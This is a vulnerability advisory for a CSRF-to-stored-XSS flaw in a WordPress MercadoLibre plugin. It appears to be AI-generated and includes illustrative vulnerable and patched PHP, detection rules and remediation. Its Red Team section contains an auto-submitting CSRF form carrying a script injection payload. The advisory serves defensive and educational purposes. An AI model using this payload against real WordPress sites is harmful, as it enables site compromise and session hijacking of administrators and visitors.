CVE-2025-23659
Executive Summary
CVE-2025-23659 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin MercadoLibre Integration by hernanjh, affecting versions through 1.1. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, which in this case leads to Stored Cross-Site Scripting (XSS). This means an attacker can forge a request that, when executed by an admin, injects malicious JavaScript into the plugin’s settings or data, which is then served to other users. The CVSS score is 7.1 (High), with a vector indicating network access, low attack complexity, and required user interaction. No public exploit code or patch is currently available, making this a significant risk for unpatched WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to WordPress site administrators who have installed the MercadoLibre Integration plugin. Since no patch is available, users must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need authentication.
- User Interaction (UI): Required – The victim (admin) must click a link or visit a malicious page.
- Scope (S): Changed – The CSRF triggers a Stored XSS, affecting other users.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on availability.
Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin panel, potentially leading to session hijacking, privilege escalation, or defacement.
Deep Dive & Mechanics
The vulnerability lies in the MercadoLibre Integration WordPress plugin (version <= 1.1). The plugin fails to implement proper CSRF tokens on its administrative actions, such as saving settings or importing data. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, submits a forged request to the plugin’s endpoint.
Because the plugin also lacks proper output sanitization, the attacker can inject malicious JavaScript into a field (e.g., a product description or API key field) that is later displayed to other users. This is the Stored XSS component. The attack flow:
- Attacker crafts a CSRF payload that includes a malicious script in a plugin setting.
- Attacker lures an authenticated admin to visit a page containing the forged request.
- The admin’s browser sends the request, which the plugin processes without CSRF validation.
- The malicious script is stored in the WordPress database.
- When other users (including other admins or visitors) view the affected page, the script executes.
The root cause is the absence of nonce verification in the plugin’s admin functions, combined with insufficient input sanitization.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. A typical vulnerable WordPress plugin might have:
// Vulnerable code (no CSRF check)
function mercadolibre_save_settings() {
update_option('mercadolibre_api_key', $_POST['api_key']);
// No nonce verification
}
A patched version would include:
// Patched code
function mercadolibre_save_settings() {
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'mercadolibre_save_settings' ) ) {
wp_die( 'CSRF validation failed.' );
}
$api_key = sanitize_text_field( $_POST['api_key'] );
update_option('mercadolibre_api_key', $api_key);
}
The patch adds a nonce check and input sanitization.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install WordPress (latest version) on a local server (e.g., XAMPP or Docker).
- Install MercadoLibre Integration plugin version 1.1.
- Create an admin user and log in.
Exploitation Steps:
- Create a malicious HTML file (
csrf_exploit.html) that auto-submits a form to the vulnerable endpoint:
<html>
<body>
<form action="http://target/wp-admin/admin-post.php?action=mercadolibre_save" method="POST">
<input type="hidden" name="api_key" value="<script>alert('XSS')</script>">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host this file on an attacker-controlled server.
- Send the link to the authenticated admin (e.g., via email or social engineering).
- Once the admin visits the page, the form auto-submits, injecting the XSS payload.
- The payload executes when any user views the plugin’s settings page.
Blue Team
Detection:
- Monitor for unexpected POST requests to
/wp-admin/admin-post.phpwith action parameters related to MercadoLibre. - Look for unusual
api_keyor other parameter values containing JavaScript. - Check for missing
_wpnonceparameters in admin POST requests.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to the plugin’s endpoints without a valid nonce.
- Educate administrators to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-post.phpwithaction=mercadolibre_saveor similar. - File: Presence of JavaScript in the
wp_optionstable undermercadolibre_api_keyor similar option names. - Log: WordPress debug log entries showing unexpected input in plugin settings.
- Behavior: Unauthorized changes to MercadoLibre Integration settings.
Detection Engineering
YARA Rule
rule detect_csrf_xss_mercadolibre {
meta:
description = "Detects CSRF-based Stored XSS in MercadoLibre Integration plugin"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-23659"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_action = "mercadolibre_save"
condition:
$plugin_action and $xss_payload
}
Sigma Rule
title: CSRF to Stored XSS in MercadoLibre Integration Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-post.php with MercadoLibre actions and potential XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-query|contains: "admin-post.php"
cs-uri-query|contains: "mercadolibre"
condition: selection
falsepositives:
- Legitimate plugin usage
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23659 CSRF to Stored XSS in MercadoLibre Integration"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"mercadolibre"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Remove the plugin if it is not critical for business operations.
- Review WordPress logs for any signs of exploitation.
Long-term Fix:
- The vendor must release a patched version that includes CSRF nonce verification and input sanitization.
- Users should update to the latest version once available.
Workarounds:
- Implement a custom WordPress filter to add nonce checks to the plugin’s actions.
- Use a security plugin (e.g., Wordfence) to block CSRF attacks.
Valters IT Signature: Report generated by Valters IT DevSecOps AI – CVE-2025-23659 Analysis
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.